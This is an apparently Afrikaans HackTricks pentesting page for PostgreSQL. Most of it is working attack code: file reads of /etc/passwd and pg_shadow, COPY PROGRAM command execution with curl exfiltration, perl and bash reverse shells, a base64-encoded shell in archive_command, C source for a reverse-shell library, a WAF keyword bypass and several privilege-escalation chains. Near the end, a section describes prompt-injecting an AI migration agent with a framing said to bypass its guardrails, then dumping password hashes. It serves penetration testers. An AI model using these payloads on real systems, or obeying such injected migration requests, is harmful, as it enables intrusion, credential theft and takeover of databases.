5432,5433 - Pentesting Postgresql

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

PostgreSQL word beskryf as ’n objek-relasionele databasestelsel wat oopbron is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar brei dit ook uit met bykomende funksies. Dit kan ’n wye verskeidenheid datatipes en operasies hanteer, wat dit ’n veelsydige keuse vir ontwikkelaars en organisasies maak.

Verstekpoort: 5432, en as hierdie poort reeds in gebruik is lyk dit of postgresql die volgende poort (waarskynlik 5433) sal gebruik wat nie in gebruik is nie.

PORT     STATE SERVICE
5432/tcp open  pgsql

Verbind & Basiese Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

As jy \list uitvoer en jy vind ’n databasis genaamd rdsadmin, weet jy dat jy binne ’n AWS postgresql database is.

Vir meer inligting oor hoe om ’n PostgreSQL database te misbruik sien:

PostgreSQL injection

Outomatiese Enumerasie

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

Volgens this research, wanneer ’n verbindingspoging misluk, gooi dblink ’n sqlclient_unable_to_establish_sqlconnection-uitsondering wat ’n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • Host is af

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • Port is gesluit
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is oop
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

of

DETAIL:  FATAL:  password authentication failed for user "name"
  • Port is oop of gefiltreer
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

In PL/pgSQL-funksies is dit tans nie moontlik om uitsonderingsbesonderhede te kry nie. As jy egter direkte toegang tot die PostgreSQL-server het, kan jy die nodige inligting bekom. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltafels te onttrek nie, kan jy oorweeg om die wordlist attack method wat in die vorige afdeling bespreek is te gebruik, aangesien dit moontlik positiewe resultate kan lewer.

Opsomming van voorregte

Rolle

Role Types
rolsuperRol het superuser-privilege
rolinheritRol erf outomaties die voorregte van rolle waarvan dit ’n lid is
rolcreateroleRol kan meer rolle skep
rolcreatedbRol kan databasisse skep
rolcanloginRol kan aanmeld. Dit wil sĂȘ, hierdie rol kan as die aanvanklike sessie-owerheidsidentifiseerder toegeken word
rolreplicationRol is ’n replicasie-rol. ’n Replicasie-rol kan repliseringsverbindinge inisieer en repliseringslotte skep en verwyder.
rolconnlimitVir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindings wat hierdie rol kan maak. -1 beteken geen beperking nie.
rolpasswordNie die wagwoord nie (lees altyd as ********)
rolvaliduntilWagwoordvervaldatum (slegs gebruik vir wagwoordverifikasie); null as daar geen vervaldatum is
rolbypassrlsRol omseil elke row-level security policy, sien Section 5.8 vir meer inligting.
rolconfigRol-spesifieke verstekwaardes vir run-time konfigurasievariabels
oidID van rol

Interessante Groepe

  • As jy ’n lid is van pg_execute_server_program kan jy programme uitvoer
  • As jy ’n lid is van pg_read_server_files kan jy lĂȘers lees
  • As jy ’n lid is van pg_write_server_files kan jy lĂȘers skryf

Tip

Let wel dat in Postgres ’n gebruiker, ’n groep en ’n rol dieselfde is. Dit hang net af van hoe jy dit gebruik en of jy toelaat dat dit kan aanmeld.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tabels

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funksies

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

LĂȘerstelsel-aksies

Lees gidse en lĂȘers

Vanaf hierdie commit lede van die gedefinieerde DEFAULT_ROLE_READ_SERVER_FILES groep (genaamd pg_read_server_files) en super users kan die COPY metode op enige pad gebruik (kyk na convert_and_check_filename in genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

Onthou dat as jy nie superuser is nie maar die CREATEROLE-regte het, kan jy jouself ’n lid van daardie groep maak:

GRANT pg_read_server_files TO username;

More info.

Daar is ander postgres funksies wat gebruik kan word om ’n lĂȘer te lees of ’n gids te lys. Slegs superusers en gebruikers met eksplisiete regte kan dit gebruik:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Jy kan meer funksies vind by https://www.postgresql.org/docs/current/functions-admin.html

Eenvoudige lĂȘerskryf

Slegs supergebruikers en lede van pg_write_server_files kan copy gebruik om lĂȘers te skryf.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

Onthou dat as jy nie super user is nie maar die CREATEROLE permissies het, jy kan jouself lid van daardie groep maak:

GRANT pg_write_server_files TO username;

More info.

Onthou dat COPY nie newline-karakters kan hanteer nie, daarom selfs al gebruik jy ’n base64 payload, jy moet dit as ’n eenreĂ«l stuur.
’n Baie belangrike beperking van hierdie tegniek is dat copy nie gebruik kan word om binĂȘre lĂȘers te skryf nie aangesien dit sekere binĂȘre waardes verander.

Binary files upload

Daar is egter ander tegnieke om groot binĂȘre lĂȘers op te laai:

Big Binary Files Upload (PostgreSQL)

Updating PostgreSQL table data via local file write

As jy die nodige permisse het om PostgreSQL bediener-lĂȘers te lees en te skryf, kan jy enige tabel op die bediener bywerk deur die geassosieerde filenode in the PostgreSQL data directory te oorskryf. Meer oor hierdie tegniek hier.

Vereiste stappe:

  1. Verkry die PostgreSQL data directory
SELECT setting FROM pg_settings WHERE name = 'data_directory';

Nota: As jy nie die huidige data directory pad uit settings kan kry nie, kan jy die hoof PostgreSQL weergawe navraag doen met die SELECT version() query en probeer om die pad te brute-force. Algemene data directory-paaie op Unix-installasies van PostgreSQL is /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. ’n Algemene cluster naam is main.

  1. Verkry ’n relatiewe pad na die filenode wat met die teiken-tabel geassosieer is
SELECT pg_relation_filepath('{TABLE_NAME}')

Hierdie query behoort iets soos base/3/1337 terug te gee. Die volle pad op skyf sal wees $DATA_DIRECTORY/base/3/1337, d.w.s. /var/lib/postgresql/13/main/base/3/1337.

  1. Download die filenode deur die lo_* funksies
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. Kry die datatipe wat met die teiken-tabel geassosieer is
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. Gebruik die PostgreSQL Filenode Editor om die filenode te edit the filenode; stel alle rol* boolean vlagte op 1 vir volle permissies.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

PostgreSQL Filenode Editor Demo

  1. Herlaai die ge-Ă«ditte filenode via die lo_* funksies, en oorskryf die oorspronklike lĂȘer op die skyf
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (Opsioneel) Maak die in-memory tabel cache skoon deur ’n duur SQL-query uit te voer
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. Jy behoort nou bygewerkte tabelwaardes in die PostgreSQL te sien.

Jy kan ook ’n superadmin word deur die pg_authid tabel te wysig. Sien die volgende afdeling.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Voorbeeld om exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

Onthou dat as jy nie superuser is nie maar die CREATEROLE toestemmings het, kan jy jouself lid van daardie rol maak:

GRANT pg_execute_server_program TO username;

More info.

Of gebruik die multi/postgres/postgres_copy_from_program_cmd_exec module van metasploit.
Meer inligting oor hierdie kwesbaarheid here. Alhoewel dit as CVE-2019-9193 gerapporteer is, het Postges verklaar dit is ’n feature and will not be fixed.

Bypass keyword filters/WAF to reach COPY PROGRAM

In SQLi-kontekste met gestapelde queries, kan ’n WAF die letterlike sleutelwoord COPY verwyder of blokkeer. Jy kan die statement dinamies saamstel en dit binne ’n PL/pgSQL DO block uitvoer. Byvoorbeeld, bou die vooraanstaande C met CHR(67) om naïewe filters te omseil en EXECUTE die saamgestelde opdrag:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

Tip

Die volgende RCE-vektore is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-uitsprake uitgevoer kan word

Die konfigurasielĂȘer van PostgreSQL is skryfbaar deur die postgres user, wat die proses is wat die databasis bedryf, so as superuser kan jy lĂȘers in die lĂȘerstelsel skryf, en daarom kan jy hierdie lĂȘer oorskryf.

RCE with ssl_passphrase_command

More information about this technique here.

Die konfigurasielĂȘer het ’n paar interessante attributte wat tot RCE kan lei:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Pad na die private sleutel van die databasis
  • ssl_passphrase_command = '' As die private lĂȘer deur ’n wagwoord beskerm is (geĂ«nkripteer) sal postgresql die opdrag aangedui in hierdie attribuut uitvoer.
  • ssl_passphrase_command_supports_reload = off As hierdie attribuut on is, sal die opdrag wat uitgevoer word as die sleutel deur ’n wagwoord beskerm is, uitgevoer word wanneer pg_reload_conf() uitgevoer word.

Dan sal ’n aanvaller nodig hĂȘ om:

  1. Dump private key van die bediener
  2. Enkripteer die afgelaaide private sleutel:
  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. Oorskryf
  5. Dump die huidige postgresql konfigurasie
  6. Oorskryf die konfigurasie met die genoemde attribuutkonfigurasie:
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. Execute pg_reload_conf()

Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die private sleutel-lĂȘer die regte 640 het, dit behoort aan root en aan die groep ssl-cert of postgres (sodat die postgres user dit kan lees), en is geplaas in /var/lib/postgresql/12/main.

RCE with archive_command

More information about this config and about WAL here.

Nog ’n attribuut in die konfigurasielĂȘer wat uitgebuit kan word is archive_command.

Om dit te laat werk, moet die archive_mode instelling op 'on' of 'always' wees. As dit waar is, kan ons die opdrag in archive_command oorskryf en dit dwing om uitgevoer te word via die WAL (write-ahead logging) operasies.

Die algemene stappe is:

  1. Kontroleer of archive mode aangeskakel is: SELECT current_setting('archive_mode')
  2. Oorskryf archive_command met die payload. Byvoorbeeld, ’n reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. Herlaai die konfigurasie: SELECT pg_reload_conf()
  4. Dwing die WAL-operasie om te loop, wat die archive command sal aanroep: SELECT pg_switch_wal() of SELECT pg_switch_xlog() vir sommige Postgres weergawes
Editing postgresql.conf via Large Objects (SQLi-friendly)

Wanneer meerlyn-skryfwerk nodig is (bv. om meerdere GUCs te stel), gebruik PostgreSQL Large Objects om die konfigurasie heeltemal vanuit SQL te lees en te oorskryf. Hierdie benadering is ideaal in SQLi-kontekste waar COPY nie reëlafbrekings of binary-safe skryfsels hanteer nie.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

Dit lewer betroubare OS-opdraguitvoering via archive_command as die postgres gebruiker, mits archive_mode geaktiveer is. In die praktyk kan die instelling van ’n lae archive_timeout lei tot vinnige aanroep sonder om ’n eksplisiete WAL-switch te benodig.

RCE with preload libraries

More information about this technique here.

Hierdie aanvalsvector maak gebruik van die volgende konfigurasie-variabeles:

  • session_preload_libraries – libraries that will be loaded by the PostgreSQL server at the client connection.
  • dynamic_library_path – list of directories where the PostgreSQL server will search for the libraries.

Ons kan die waarde van dynamic_library_path stel na ’n gids wat deur die postgres gebruiker wat die databasis bedryf, geskryf kan word, bv. die /tmp/ gids, en ’n kwaadwillige .so-lĂȘer daar oplaai. Daarna dwing ons die PostgreSQL-server om ons nuut opgelaaide biblioteek te laad deur dit by die session_preload_libraries-variabele in te sluit.

Die aanvalstappe is:

  1. Laai die oorspronklike postgresql.conf af
  2. Sluit die /tmp/ gids in by die dynamic_library_path waarde, bv. dynamic_library_path = '/tmp:$libdir'
  3. Sluit die kwaadwillige biblioteeksnaam in by die session_preload_libraries waarde, bv. session_preload_libraries = 'payload.so'
  4. Kontroleer die hoof PostgreSQL-weergawe via die SELECT version() query
  5. Kompileer die kwaadwillige biblioteekkode met die korrekte PostgreSQL dev-pakket. Voorbeeldkode:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Kompileer die kode:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. Laai die kwaadwillige postgresql.conf, geskep in stappe 2-3, op en oorskryf die oorspronklike een
  2. Laai die payload.so uit stap 5 op na die /tmp gids
  3. Herlaai die bedienerkonfigurasie deur die bediener te herbegin of die SELECT pg_reload_conf() query uit te voer
  4. By die volgende DB-verbinding sal jy die reverse shell-verbinding ontvang.

Postgres Privesc

CREATEROLE Privesc

Grant

Volgens die docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

Dus, as jy die CREATEROLE toestemming het, kan jy jouself toegang gee tot ander rolle (wat nie superuser is nie) wat jou die opsie kan gee om lĂȘers te lees en te skryf en opdragte uit te voer:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Wysig Wagwoord

Gebruikers met hierdie rol kan ook die wagwoorde van ander non-superusers verander:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Dit is redelik algemeen om te vind dat lokale gebruikers by PostgreSQL kan aanmeld sonder om ’n wagwoord te verskaf. Daarom, sodra jy bevoegdhede het om kode uit te voer, kan jy hierdie bevoegdhede misbruik om jou die SUPERUSER-rol te verleen:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

Dit is gewoonlik moontlik as gevolg van die volgende reĂ«ls in die pg_hba.conf-lĂȘer:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

In this writeup word verduidelik hoe dit moontlik was om privesc in Postgres GCP te doen deur die ALTER TABLE-voorreg wat aan die gebruiker gegee is, te misbruik.

Wanneer jy probeer om ’n ander gebruiker eienaar van ’n tabel te maak behoort jy ’n fout te kry wat dit verhinder, maar blykbaar het GCP daardie opsie aan die nie-superuser postgres-gebruiker gegee:

As jy hierdie idee kombineer met die feit dat wanneer die INSERT/UPDATE/ANALYZE kommandos op ’n tabel met ’n index funksie uitgevoer word, die funksie as deel van die kommando aangeroep word met die tabel eienaar se regte, dan is dit moontlik om ’n index met ’n funksie te skep en eienaarsregte oor daardie tabel aan ’n super user te gee, en daarna ANALYZE op die tabel te voer met die kwaadwillige funksie wat in staat sal wees om kommando’s uit te voer omdat dit die voorregte van die eienaar gebruik.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Uitbuiting

  1. Begin deur ’n nuwe tabel te skep.
  2. Voeg ’n paar irrelevante rekords in die tabel in om data vir die index-funksie te verskaf.
  3. Ontwikkel ’n kwaadwillige index-funksie wat ’n code execution payload bevat, wat die uitvoering van ongemagtigde opdragte moontlik maak.
  4. ALTER die tabel se eienaar na “cloudsqladmin,” wat GCP se superuser-rol is wat uitsluitlik deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
  5. Voer ’n ANALYZE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-engine om oor te skakel na die gebruikerskonteks van die tabel se eienaar, “cloudsqladmin.” Gevolglik word die kwaadwillige index-funksie met die permissies van “cloudsqladmin” aangeroep, waardeur die vroeĂ«r ongemagtigde shell command uitgevoer kan word.

In PostgreSQL lyk hierdie vloei ongeveer soos volg:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Dan sal die shell_commands_results-tabel die uitvoer van die uitgevoerde kode bevat:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Plaaslike Aanmelding

Sommige verkeerd gekonfigureerde postgresql-instansies mag toelaat dat enige plaaslike gebruiker aanmeld. Dit is moontlik om plaaslik vanaf 127.0.0.1 aan te meld met behulp van die dblink funksie:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

Neem kennis dat vir die vorige query om te werk die funksie dblink moet bestaan. As dit nie bestaan nie, kan jy probeer om dit te skep met

CREATE EXTENSION dblink;

As jy die wagwoord van ’n gebruiker met meer bevoegdhede het, maar die gebruiker mag nie vanaf ’n eksterne IP aanmeld nie, kan jy die volgende funksie gebruik om queries as daardie gebruiker uit te voer:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Dit is moontlik om te kontroleer of hierdie funksie bestaan met:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Aangepaste funksie met SECURITY DEFINER

In this writeup, pentesters kon privesc in ’n postgres-instantie wat deur IBM verskaf is uitvoer, omdat hulle hierdie funksie met die SECURITY DEFINER-vlag gevind het:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();



As explained in the docs ’n funksie met SECURITY DEFINER is executed word uitgevoer met die voorregte van die gebruiker wat dit besit. Daarom, as die funksie kwesbaar vir SQL Injection is of sekere geprivilegieerde aksies met params wat deur die aanvaller beheer word uitvoer, kan dit misbruik word om voorregte binne postgres te eskaleer.

In reël 4 van die vorige kode kan jy sien dat die funksie die SECURITY DEFINER vlag het.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

En dan voer opdragte uit:

Pass Burteforce with PL/pgSQL

PL/pgSQL is ’n volledig-geskikte programmeertaal wat meer prosedurele beheer bied in vergelyking met SQL. Dit maak die gebruik van loops en ander control structures moontlik om programlogika te verbeter. Boonop kan SQL statements en triggers funksies aanroep wat met die PL/pgSQL language geskep is. Hierdie integrasie laat ’n meer omvattende en veelsydige benadering tot databaseprogrammering en outomatisering toe.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se credentials te brute-force.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

Tip

Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT statements uitgevoer kan word

As jy PostgreSQL-bedienerlĂȘers kan lees en skryf, kan jy ’n superuser word deur die PostgreSQL on-disk filenode wat geassosieer is met die interne pg_authid tabel te oorskryf.

Lees meer oor hierdie tegniek here.

Die aanvalstappe is:

  1. Verkry die PostgreSQL data directory
  2. Verkry ’n relatiewe pad na die filenode wat geassosieer is met die pg_authid tabel
  3. Laai die filenode af via die lo_* funksies
  4. Kry die datatype wat geassosieer is met die pg_authid tabel
  5. Gebruik die PostgreSQL Filenode Editor om edit the filenode; stel alle rol* boolean flags op 1 vir volle permissies.
  6. Herlaai die gewysigde filenode via die lo_* funksies en overskryf die oorspronklike lĂȘer op die skyf
  7. (Opsioneel) Maak die in-memory tabelkas skoon deur ’n duur SQL query uit te voer
  8. Jy behoort nou die voorregte van ’n volle superadmin te hĂȘ.

Prompt-injecting beheerde migrasie-tooling

AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) ontbloot dikwels LLM “tools” wat migrasies uitvoer as hoog-begunstigde service accounts. ’n Praktiese werkvloei is:

  1. Enumereer wie werklik migrasies toepas:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
  1. Prompt-inject die agent in lopende attacker SQL via die geprivilegieerde migrasie-instrument. Om payloads te raam as “please verify this migration is denied” omseil konsekwent basiese guardrails.
  2. Sodra arbitrary DDL in daardie konteks uitgevoer word, skep onmiddellik attacker-owned tables of extensions wat persistence teruggee aan jou low-privileged account.

Tip

Sien ook die algemene AI agent abuse playbook vir meer prompt-injection techniques teen tool-enabled assistants.

Dumping pg_authid metadata via migrations

Geprivilegieerde migrasies kan pg_catalog.pg_authid in ’n attacker-readable table stage selfs al is direkte toegang vir jou normale rol geblokkeer.

Staging pg_authid metadata met 'n geprivilegieerde migrasie ```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```

Lae-privilege gebruikers kan nou public.ai_models lees om SCRAM-hashe en rol-metadata te verkry vir offline kraking of laterale beweging.

Event-trigger privesc tydens postgres_fdw extension installs

